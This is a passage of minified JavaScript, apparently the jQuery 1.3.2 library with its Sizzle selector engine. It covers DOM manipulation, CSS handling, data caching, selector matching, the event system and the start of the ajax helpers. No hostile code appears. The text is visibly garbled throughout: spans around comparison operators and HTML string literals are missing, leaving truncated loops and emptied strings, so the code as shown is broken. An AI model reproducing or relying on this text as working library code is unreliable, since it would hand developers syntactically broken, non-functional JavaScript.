I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("",""]||!O.indexOf("",""]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"","
"]||!O.indexOf("",""]||(!O.indexOf("",""]||!O.indexOf("",""]||!o.support.htmlSerialize&&[1,"div
","
"]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}}); /* * Sizzle CSS Selector Engine - v0.9.3 * Copyright 2009, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * More information: http://sizzlejs.com/ */ (function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return T[V]&&Q(T[V])?U[1]:U[1].toUpperCase()},CHILD:function(T){if(T[1]=="nth"){var U=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(T[2]=="even"&&"2n"||T[2]=="odd"&&"2n+1"||!/\D/.test(T[2])&&"0n+"+T[2]||T[2]);T[2]=(U[1]+(U[2]||1))-0;T[3]=U[3]-0}T[0]=L++;return T},ATTR:function(X,U,V,T,Y,Z){var W=X[1].replace(/\\/g,"");if(!Z&&I.attrMap[W]){X[1]=I.attrMap[W]}if(X[2]==="~="){X[4]=" "+X[4]+" "}return X},PSEUDO:function(X,U,V,T,Y){if(X[1]==="not"){if(X[3].match(R).length>1||/^\w/.test(X[3])){X[3]=F(X[3],null,null,U)}else{var W=F.filter(X[3],U,V,true^Y);if(!V){T.push.apply(T,W)}return false}}else{if(I.match.POS.test(X[0])||I.match.CHILD.test(X[0])){return true}}return X},POS:function(T){T.unshift(true);return T}},filters:{enabled:function(T){return T.disabled===false&&T.type!=="hidden"},disabled:function(T){return T.disabled===true},checked:function(T){return T.checked===true},selected:function(T){T.parentNode.selectedIndex;return T.selected===true},parent:function(T){return !!T.firstChild},empty:function(T){return !T.firstChild},has:function(V,U,T){return !!F(T[3],V).length},header:function(T){return/h\d/i.test(T.nodeName)},text:function(T){return"text"===T.type},radio:function(T){return"radio"===T.type},checkbox:function(T){return"checkbox"===T.type},file:function(T){return"file"===T.type},password:function(T){return"password"===T.type},submit:function(T){return"submit"===T.type},image:function(T){return"image"===T.type},reset:function(T){return"reset"===T.type},button:function(T){return"button"===T.type||T.nodeName.toUpperCase()==="BUTTON"},input:function(T){return/input|select|textarea|button/i.test(T.nodeName)}},setFilters:{first:function(U,T){return T===0},last:function(V,U,T,W){return U===W.length-1},even:function(U,T){return T%2===0},odd:function(U,T){return T%2===1},lt:function(V,U,T){return UT[3]-0},nth:function(V,U,T){return T[3]-0==U},eq:function(V,U,T){return T[3]-0==U}},filter:{PSEUDO:function(Z,V,W,aa){var U=V[1],X=I.filters[U];if(X){return X(Z,W,V,aa)}else{if(U==="contains"){return(Z.textContent||Z.innerText||"").indexOf(V[3])>=0}else{if(U==="not"){var Y=V[3];for(var W=0,T=Y.length;W=0)}}},ID:function(U,T){return U.nodeType===1&&U.getAttribute("id")===T},TAG:function(U,T){return(T==="*"&&U.nodeType===1)||U.nodeName===T},CLASS:function(U,T){return(" "+(U.className||U.getAttribute("class"))+" ").indexOf(T)>-1},ATTR:function(Y,W){var V=W[1],T=I.attrHandle[V]?I.attrHandle[V](Y):Y[V]!=null?Y[V]:Y.getAttribute(V),Z=T+"",X=W[2],U=W[4];return T==null?X==="!=":X==="="?Z===U:X==="*="?Z.indexOf(U)>=0:X==="~="?(" "+Z+" ").indexOf(U)>=0:!U?Z&&T!==false:X==="!="?Z!=U:X==="^="?Z.indexOf(U)===0:X==="$="?Z.substr(Z.length-U.length)===U:X==="|="?Z===U||Z.substr(0,U.length+1)===U+"-":false},POS:function(X,U,V,Y){var T=U[2],W=I.setFilters[T];if(W){return W(X,V,U,Y)}}}};var M=I.match.POS;for(var O in I.match){I.match[O]=RegExp(I.match[O].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var E=function(U,T){U=Array.prototype.slice.call(U);if(T){T.push.apply(T,U);return T}return U};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(N){E=function(X,W){var U=W||[];if(H.call(X)==="[object Array]"){Array.prototype.push.apply(U,X)}else{if(typeof X.length==="number"){for(var V=0,T=X.length;V";var T=document.documentElement;T.insertBefore(U,T.firstChild);if(!!document.getElementById(V)){I.find.ID=function(X,Y,Z){if(typeof Y.getElementById!=="undefined"&&!Z){var W=Y.getElementById(X[1]);return W?W.id===X[1]||typeof W.getAttributeNode!=="undefined"&&W.getAttributeNode("id").nodeValue===X[1]?[W]:g:[]}};I.filter.ID=function(Y,W){var X=typeof Y.getAttributeNode!=="undefined"&&Y.getAttributeNode("id");return Y.nodeType===1&&X&&X.nodeValue===W}}T.removeChild(U)})();(function(){var T=document.createElement("div");T.appendChild(document.createComment(""));if(T.getElementsByTagName("*").length>0){I.find.TAG=function(U,Y){var X=Y.getElementsByTagName(U[1]);if(U[1]==="*"){var W=[];for(var V=0;X[V];V++){if(X[V].nodeType===1){W.push(X[V])}}X=W}return X}}T.innerHTML="";if(T.firstChild&&typeof T.firstChild.getAttribute!=="undefined"&&T.firstChild.getAttribute("href")!=="#"){I.attrHandle.href=function(U){return U.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var T=F,U=document.createElement("div");U.innerHTML="

";if(U.querySelectorAll&&U.querySelectorAll(".TEST").length===0){return}F=function(Y,X,V,W){X=X||document;if(!W&&X.nodeType===9&&!Q(X)){try{return E(X.querySelectorAll(Y),V)}catch(Z){}}return T(Y,X,V,W)};F.find=T.find;F.filter=T.filter;F.selectors=T.selectors;F.matches=T.matches})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var T=document.createElement("div");T.innerHTML="
";if(T.getElementsByClassName("e").length===0){return}T.lastChild.className="e";if(T.getElementsByClassName("e").length===1){return}I.order.splice(1,0,"CLASS");I.find.CLASS=function(U,V,W){if(typeof V.getElementsByClassName!=="undefined"&&!W){return V.getElementsByClassName(U[1])}}})()}function P(U,Z,Y,ad,aa,ac){var ab=U=="previousSibling"&&!ac;for(var W=0,V=ad.length;W0){X=T;break}}}T=T[U]}ad[W]=X}}}var K=document.compareDocumentPosition?function(U,T){return U.compareDocumentPosition(T)&16}:function(U,T){return U!==T&&(U.contains?U.contains(T):true)};var Q=function(T){return T.nodeType===9&&T.documentElement.nodeName!=="HTML"||!!T.ownerDocument&&Q(T.ownerDocument)};var J=function(T,aa){var W=[],X="",Y,V=aa.nodeType?[aa]:aa;while((Y=I.match.PSEUDO.exec(T))){X+=Y[0];T=T.replace(I.match.PSEUDO,"")}T=I.relative[T]?T+"*":T;for(var Z=0,U=V.length;Z0||T.offsetHeight>0};F.selectors.filters.animated=function(T){return o.grep(o.timers,function(U){return T===U.elem}).length};o.multiFilter=function(V,T,U){if(U){V=":not("+V+")"}return F.matches(V,T)};o.dir=function(V,U){var T=[],W=V[U];while(W&&W!=document){if(W.nodeType==1){T.push(W)}W=W[U]}return T};o.nth=function(X,T,V,W){T=T||1;var U=0;for(;X;X=X[V]){if(X.nodeType==1&&++U==T){break}}return X};o.sibling=function(V,U){var T=[];for(;V;V=V.nextSibling){if(V.nodeType==1&&V!=U){T.push(V)}}return T};return;l.Sizzle=F})();o.event={add:function(I,F,H,K){if(I.nodeType==3||I.nodeType==8){return}if(I.setInterval&&I!=l){I=l}if(!H.guid){H.guid=this.guid++}if(K!==g){var G=H;H=this.proxy(G);H.data=K}var E=o.data(I,"events")||o.data(I,"events",{}),J=o.data(I,"handle")||o.data(I,"handle",function(){return typeof o!=="undefined"&&!o.event.triggered?o.event.handle.apply(arguments.callee.elem,arguments):g});J.elem=I;o.each(F.split(/\s+/),function(M,N){var O=N.split(".");N=O.shift();H.type=O.slice().sort().join(".");var L=E[N];if(o.event.specialAll[N]){o.event.specialAll[N].setup.call(I,K,O)}if(!L){L=E[N]={};if(!o.event.special[N]||o.event.special[N].setup.call(I,K,O)===false){if(I.addEventListener){I.addEventListener(N,J,false)}else{if(I.attachEvent){I.attachEvent("on"+N,J)}}}}L[H.guid]=H;o.event.global[N]=true});I=null},guid:1,global:{},remove:function(K,H,J){if(K.nodeType==3||K.nodeType==8){return}var G=o.data(K,"events"),F,E;if(G){if(H===g||(typeof H==="string"&&H.charAt(0)==".")){for(var I in G){this.remove(K,I+(H||""))}}else{if(H.type){J=H.handler;H=H.type}o.each(H.split(/\s+/),function(M,O){var Q=O.split(".");O=Q.shift();var N=RegExp("(^|\\.)"+Q.slice().sort().join(".*\\.")+"(\\.|$)");if(G[O]){if(J){delete G[O][J.guid]}else{for(var P in G[O]){if(N.test(G[O][P].type)){delete G[O][P]}}}if(o.event.specialAll[O]){o.event.specialAll[O].teardown.call(K,Q)}for(F in G[O]){break}if(!F){if(!o.event.special[O]||o.event.special[O].teardown.call(K,Q)===false){if(K.removeEventListener){K.removeEventListener(O,o.data(K,"handle"),false)}else{if(K.detachEvent){K.detachEvent("on"+O,o.data(K,"handle"))}}}F=null;delete G[O]}}})}for(F in G){break}if(!F){var L=o.data(K,"handle");if(L){L.elem=null}o.removeData(K,"events");o.removeData(K,"handle")}}},trigger:function(I,K,H,E){var G=I.type||I;if(!E){I=typeof I==="object"?I[h]?I:o.extend(o.Event(G),I):o.Event(G);if(G.indexOf("!")>=0){I.type=G=G.slice(0,-1);I.exclusive=true}if(!H){I.stopPropagation();if(this.global[G]){o.each(o.cache,function(){if(this.events&&this.events[G]){o.event.trigger(I,K,this.handle.elem)}})}}if(!H||H.nodeType==3||H.nodeType==8){return g}I.result=g;I.target=H;K=o.makeArray(K);K.unshift(I)}I.currentTarget=H;var J=o.data(H,"handle");if(J){J.apply(H,K)}if((!H[G]||(o.nodeName(H,"a")&&G=="click"))&&H["on"+G]&&H["on"+G].apply(H,K)===false){I.result=false}if(!E&&H[G]&&!I.isDefaultPrevented()&&!(o.nodeName(H,"a")&&G=="click")){this.triggered=true;try{H[G]()}catch(L){}}this.triggered=false;if(!I.isPropagationStopped()){var F=H.parentNode||H.ownerDocument;if(F){o.event.trigger(I,K,F,true)}}},handle:function(K){var J,E;K=arguments[0]=o.event.fix(K||l.event);K.currentTarget=this;var L=K.type.split(".");K.type=L.shift();J=!L.length&&!K.exclusive;var I=RegExp("(^|\\.)"+L.slice().sort().join(".*\\.")+"(\\.|$)");E=(o.data(this,"events")||{})[K.type];for(var G in E){var H=E[G];if(J||I.test(H.type)){K.handler=H;K.data=H.data;var F=H.apply(this,arguments);if(F!==g){K.result=F;if(F===false){K.preventDefault();K.stopPropagation()}}if(K.isImmediatePropagationStopped()){break}}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(H){if(H[h]){return H}var F=H;H=o.Event(F);for(var G=this.props.length,J;G;){J=this.props[--G];H[J]=F[J]}if(!H.target){H.target=H.srcElement||document}if(H.target.nodeType==3){H.target=H.target.parentNode}if(!H.relatedTarget&&H.fromElement){H.relatedTarget=H.fromElement==H.target?H.toElement:H.fromElement}if(H.pageX==null&&H.clientX!=null){var I=document.documentElement,E=document.body;H.pageX=H.clientX+(I&&I.scrollLeft||E&&E.scrollLeft||0)-(I.clientLeft||0);H.pageY=H.clientY+(I&&I.scrollTop||E&&E.scrollTop||0)-(I.clientTop||0)}if(!H.which&&((H.charCode||H.charCode===0)?H.charCode:H.keyCode)){H.which=H.charCode||H.keyCode}if(!H.metaKey&&H.ctrlKey){H.metaKey=H.ctrlKey}if(!H.which&&H.button){H.which=(H.button&1?1:(H.button&2?3:(H.button&4?2:0)))}return H},proxy:function(F,E){E=E||function(){return F.apply(this,arguments)};E.guid=F.guid=F.guid||E.guid||this.guid++;return E},special:{ready:{setup:B,teardown:function(){}}},specialAll:{live:{setup:function(E,F){o.event.add(this,F[0],c)},teardown:function(G){if(G.length){var E=0,F=RegExp("(^|\\.)"+G[0]+"(\\.|$)");o.each((o.data(this,"events").live||{}),function(){if(F.test(this.type)){E++}});if(E<1){o.event.remove(this,G[0],c)}}}}}};o.Event=function(E){if(!this.preventDefault){return new o.Event(E)}if(E&&E.type){this.originalEvent=E;this.type=E.type}else{this.type=E}this.timeStamp=e();this[h]=true};function k(){return false}function u(){return true}o.Event.prototype={preventDefault:function(){this.isDefaultPrevented=u;var E=this.originalEvent;if(!E){return}if(E.preventDefault){E.preventDefault()}E.returnValue=false},stopPropagation:function(){this.isPropagationStopped=u;var E=this.originalEvent;if(!E){return}if(E.stopPropagation){E.stopPropagation()}E.cancelBubble=true},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=u;this.stopPropagation()},isDefaultPrevented:k,isPropagationStopped:k,isImmediatePropagationStopped:k};var a=function(F){var E=F.relatedTarget;while(E&&E!=this){try{E=E.parentNode}catch(G){E=this}}if(E!=this){F.type=F.data;o.event.handle.apply(this,arguments)}};o.each({mouseover:"mouseenter",mouseout:"mouseleave"},function(F,E){o.event.special[E]={setup:function(){o.event.add(this,F,a,E)},teardown:function(){o.event.remove(this,F,a)}}});o.fn.extend({bind:function(F,G,E){return F=="unload"?this.one(F,G,E):this.each(function(){o.event.add(this,F,E||G,E&&G)})},one:function(G,H,F){var E=o.event.proxy(F||H,function(I){o(this).unbind(I,E);return(F||H).apply(this,arguments)});return this.each(function(){o.event.add(this,G,E,F&&H)})},unbind:function(F,E){return this.each(function(){o.event.remove(this,F,E)})},trigger:function(E,F){return this.each(function(){o.event.trigger(E,F,this)})},triggerHandler:function(E,G){if(this[0]){var F=o.Event(E);F.preventDefault();F.stopPropagation();o.event.trigger(F,G,this[0]);return F.result}},toggle:function(G){var E=arguments,F=1;while(F=0){var E=G.slice(I,G.length);G=G.slice(0,I)}var H="GET";if(J){if(o.isFunction(J)){K=J;J=null}else{if(typeof J==="object"){J=o.param(J);H="POST"}}}var F=this;o.ajax({url:G,type:H,dataType:"html",data:J,complete:function(M,L){if(L=="success"||L=="notmodified"){F.html(E?o("
").append(M.responseText.replace(//g,"")).find(E):M.responseText)}if(K){F.each(K,[M.responseText,L,M])}}});return this},serialize:function(){return o.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?o.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type))}).map(function(E,F){var G=o(this).val();return G==null?null:o.isArray(G)?o.map(G,function(I,H){return{name:F.name,value:I}}):{name:F.name,value:G}}).get()}});o.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(E,F){o.fn[F]=function(G){return this.bind(F,G)}});var r=e();o.extend({get:function(E,G,H,F){if(o.isFunction(G)){H=G;G=null}return o.ajax({type:"GET",url:E,data:G,success:H,dataType:F})},getScript:function(E,F){return o.get(E,null,F,"script")},getJSON:function(E,F,G){return o.get(E,F,G,"json")},post:function(E,G,H,F){if(o.isFunction(G)){H=G;G={}}return 